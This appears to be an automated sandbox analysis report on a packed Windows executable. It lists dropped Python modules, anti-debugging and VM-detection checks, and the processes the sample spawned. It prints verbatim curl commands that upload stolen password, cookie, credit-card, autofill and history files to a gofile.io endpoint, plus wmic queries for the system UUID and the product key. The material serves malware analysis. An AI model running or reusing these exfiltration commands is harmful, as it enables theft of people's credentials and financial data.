Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\charset_normalizer\md__mypyc.cp311-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\win32com\shell\shell.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\MarkupSafe-3.0.2.dist-info\LICENSE.txt Jump to behavior
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF733394C40 GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError, 0_2_00007FF733394C40
Source: C:\Users\user\Desktop\main.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\tasklist.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\_hashlib.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_ARC4.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_eksblowfish.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\_asyncio.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_Salsa20.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\_overlapped.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\zstandard\_cffi.cp311-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\_lzma.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_SHA1.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Pythonwin\win32ui.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Protocol\_scrypt.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\_socket.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_chacha20.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_cbc.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_keccak.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_SHA256.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\unicodedata.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_ghash_clmul.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_MD5.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\_ctypes.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\_cffi_backend.cp311-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\_decimal.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_ecb.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_pkcs1_decode.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_cast.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\ossl-modules\legacy.dll Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_poly1305.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\PIL\_webp.cp311-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_des3.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_BLAKE2s.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\zstandard\backend_c.cp311-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_BLAKE2b.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\cryptography\hazmat\bindings\_rust.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_RIPEMD160.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\PublicKey\_curve448.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\select.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Pythonwin\mfc140u.dll Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\PublicKey\_curve25519.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_ofb.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\_uuid.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_des.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_ghash_portable.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_aes.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\win32\_win32sysloader.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\python3.dll Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\PIL\_imagingcms.cp311-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\PublicKey\_ec_ws.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_ocb.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_blowfish.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_arc2.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_MD2.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\psutil\_psutil_windows.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Math\_modexp.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\_brotli.cp311-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\PIL\_imaging.cp311-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\_elementtree.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Util\_strxor.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\PIL\_imagingtk.cp311-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\markupsafe\_speedups.cp311-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\pywin32_system32\pywintypes311.dll Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Util\_cpuid_c.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\_ssl.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\win32\win32api.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\win32\win32trace.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_cfb.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\_bz2.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\_sqlite3.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_aesni.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_SHA384.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\_queue.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\pywin32_system32\pythoncom311.dll Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_MD4.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\charset_normalizer\md.cp311-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\PIL\_imagingmath.cp311-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_ctr.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\pyexpat.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\python311.dll Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\_multiprocessing.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\libcrypto-3-x64.dll Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_SHA512.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\PublicKey\_ed25519.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\PublicKey\_ed448.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\charset_normalizer\md__mypyc.cp311-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_SHA224.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI75802\win32com\shell\shell.pyd Jump to dropped file
Found evasive API chain checking for process token information
Source: C:\Users\user\Desktop\main.exe Check user administrative privileges: GetTokenInformation,DecisionNodes
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Windows\System32\wbem\WMIC.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF733398840 FindFirstFileExW,FindClose, 0_2_00007FF733398840
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF733397800 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW, 0_2_00007FF733397800
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333B2AE4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose, 0_2_00007FF7333B2AE4
Source: main.exe, 00000002.00000003.1977044312.000001E8935F0000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1975698701.000001E8935C5000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1787609743.000001E8935EA000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1786073333.000001E8935EA000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1793564892.000001E89359C000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1789469075.000001E8935EA000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1976909466.000001E8935C6000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.1783710038.000001E893604000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000003.2001043628.000001E8935FF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: curl.exe, 00000010.00000002.1850359269.000001A228639000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Users\user\Desktop\main.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF73339C6FC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00007FF73339C6FC
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333B46F0 GetProcessHeap, 0_2_00007FF7333B46F0
Enables debug privileges
Source: C:\Users\user\Desktop\main.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\tasklist.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF73339C8A0 SetUnhandledExceptionFilter, 0_2_00007FF73339C8A0
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF73339BE60 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_00007FF73339BE60
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF73339C6FC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00007FF73339C6FC
Source: C:\Users\user\Desktop\main.exe Code function: 0_2_00007FF7333AB558 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00007FF7333AB558
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\main.exe Process created: C:\Users\user\Desktop\main.exe "C:\Users\user\Desktop\main.exe" Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver" Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prpasswords.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile" Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path softwarelicensingservice get OA3xOriginalProductKey" Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prcookies.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile" Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prcreditcards.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile" Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prautofills.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile" Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prhistories.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile" Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prbookmarks.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile" Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver" Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\tasklist.exe tasklist Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prpasswords.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wbem\WMIC.exe wmic path softwarelicensingservice get OA3xOriginalProductKey Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prcookies.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prcreditcards.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prautofills.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prhistories.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prbookmarks.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "curl -f "file=@c:\users\user\appdata\local\tempprysmax-745773\prpasswords.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -f "file=@c:\users\user\appdata\local\tempprysmax-745773\prpasswords.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "curl -f "file=@c:\users\user\appdata\local\tempprysmax-745773\prcookies.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -f "file=@c:\users\user\appdata\local\tempprysmax-745773\prcookies.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "curl -f "file=@c:\users\user\appdata\local\tempprysmax-745773\prcreditcards.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -f "file=@c:\users\user\appdata\local\tempprysmax-745773\prcreditcards.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile
